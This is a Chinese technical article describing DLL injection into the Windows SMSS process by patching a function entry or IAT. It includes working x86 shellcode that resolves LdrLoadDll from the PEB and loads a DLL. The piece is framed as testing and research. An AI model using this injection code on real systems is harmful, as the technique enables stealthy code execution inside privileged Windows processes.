SMSS进程DLL inject
注入在Windows平台上很常见,一般分为两类:二进制代码注入和动态连接库(DLL)注入。二进制代码注入指的是将SHELLCODE一类的数据放入远程进程并在本地进程中启动远程进程使其开始运作。DLL注入指的是以二进制代码注入为基础,在远程进程中运行加载动态链接库(DLL)的代码,使其运作加载DLL。DLL注入以二进制代码注入为基础,但是实现的功能比二进制代码丰富,在测试过程中,对深入观察和修改程序行为具有不可替代的作用。本文以下将以DLL注入为主阐述注入SMSS进程的方法。
SMSS是会话进程,它是Windows中一个很特殊的进程,作用是管理子系统并且初始系统化变量的进程。在Windows操作系统中,有许多进程可以进行DLL注入,包括系统级进程lsass.exe(管理登录),CSRSS.EXE,除了SYSTEM、IDLE和SMSS没有关于其注入方面的资料。由于SYSTEM实质是Windows内核进程(NTOSKRNL),IDLE是闲置进程,这两个都是系统虚拟出来的进程,不存在注入的可能性,但是SMSS属于后于SYSTEM和IDLE创建的进程,其也有模块加载,因此SMSS在注入上存在理论可能性,不过实现起来十分困难。
传统注入方式,使用的是函数CreateRemoteThread在远程进程(需要注入的进程)里面去启动一个新线程执行加载DLL,但是SMSS却不能使用这类方法:
(1)因为它是在系统初始化后由SYSTEM创建,其实是一个内核进程,而且它创键CSRSS.exe,所以即使是利用DuplicateHandle都找不到它的进程句柄以进行操作。
(2)CreateRemoteThread是一个kernel32.dll中的函数,而SMSS中除了ntdll.dll导出的函数以外,就没有其它函数可以使用了。而CreateRemoteThread函数不能使用。
由于SMSS不能选择用CreateRemoteThread,因此选用测试使用一种别的方法,函数补丁法,其原理如图1所示:
函数补丁法的设计思路是:通过远程读写内存,注入一段ShellCode,但并非是利用CreateRemoteThread启动一个新线程来执行它,而是利用继续写远程进程内存的方式,改变远程进程一些必调函数的入口或者IAT,函数在运行的时候,就会自动调用我们事先准备的ShellCode实现DLL的加载。
由于CreateRemoteThread函数无法使用,因此只能采用由ntdll.dll导出的LdrLoadDll去加载DLL从而实现。因为这个函数才是LoadLibraryExW的实现者,以下是测试成功的注入代码:
__asm
{
pushad
pushfd // 保护现场
//这些还原代码由外部进行初始化
mov eax,0xEEEEEEEE
mov bl,0xFF //存五个字节的内容
mov edx,0xDDDDDDDD //存需要写东西的地址
mov [edx],eax
mov byte ptr [edx+4],bl
//这些代码最后会重新初始化的
mov eax,fs:[0x30]
mov eax,dword ptr [eax+0x0c] // Ldr : _PEB_LDR_DATA
mov eax,dword ptr [eax+0x1c] // InInitializationOrderModuleList : _LIST_ENTRY
mov eax,dword ptr [eax+0x08] // EntryInProgress
mov edi,eax // edi = ntdll.dll首地址
mov eax,dword ptr [edi+3ch] // eax = PE首部
mov edx,dword ptr [eax+edi+78h]
add edx,edi // edx = 引出表地址
mov ecx,dword ptr [edx+18h] // ecx = 输出函数的个数(NumberOfNames)
mov ebx,dword ptr [edx+20h]
add ebx,edi // ebx = 函数名地址(AddressOfNames)
SEARCH:
dec ecx
mov esi,[ebx+ecx*4]
add esi,edi
mov eax,0x4c72644c
cmp [esi],eax // 比较'LdrL'
jne SEARCH
mov eax,0x4464616f
cmp [esi+4],eax // 比较'oadD'
jne SEARCH
cmp word ptr [esi+8],0x6c6c // 比较'll'
jne SEARCH
// 如果是LdrLoadDll(表明地址已找到)
mov ebx,dword ptr [edx+24h]
add ebx,edi // ebx = 序号数组的地址
mov ecx,dword ptr [ebx+ecx*2] // ecx = 计算出序号值
and ecx,0x0000ffff
mov ebx,dword ptr [edx+1ch]
add ebx,edi // ebx = 函数地址起始位置
mov eax,dword ptr [ebx+ecx*4]
add eax,edi // eax = 利用序号值,得出LdrLoadDll的地址
//LdrLoadDllLdrLoadDll(NULL, 0, &uni_input, &hHandle);
// 先存入UNISTRING的值到内存中
push 0x00000000
push 0x006C006C
push 0x0064002E
push 0x00740073
push 0x00650074
mov edx,esp //edx = UNISTRING的数据
// 预留存储空间
sub esp,0x0c
mov dword ptr [esp+4],0x00120010 //10 00 12 00 (UNICODE前面两个字符)
mov [esp+8],edx
xor ecx,ecx
mov [esp],ecx //初始化OUT指针
push esp //PHANDLE ModuleHandle
mov ebx,esp
add ebx,8
push ebx //PUNICODE_STRING ModuleFileName
push 0 //ULONG Flags
push 0 //PWCHAR PathToFile
call eax
// 维持平衡
add esp,0x20 //0xc+5*4=32
popfd
popad // 还原现场
}
__asm
{
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90 // 需要还原原始代码,5个字节最好
_emit 0xE9
_emit 0x90
_emit 0x90
_emit 0x90
_emit 0x90
}
前面说到,SMSS本来就是一个由内核创建的进程,它本身也就不支持在Win32下运行,所以DLL也必须是特殊的写法才行,Native的。为了验证注入SMSS的成功性,我把system32下面的sfcfiles.dll改名为test.dll,然后再一次重复试验,可以成功注入,如图2所示:
由此得出结论是,通过设计的测试流程,SMSS通过函数补丁的方式,注入加载DLL。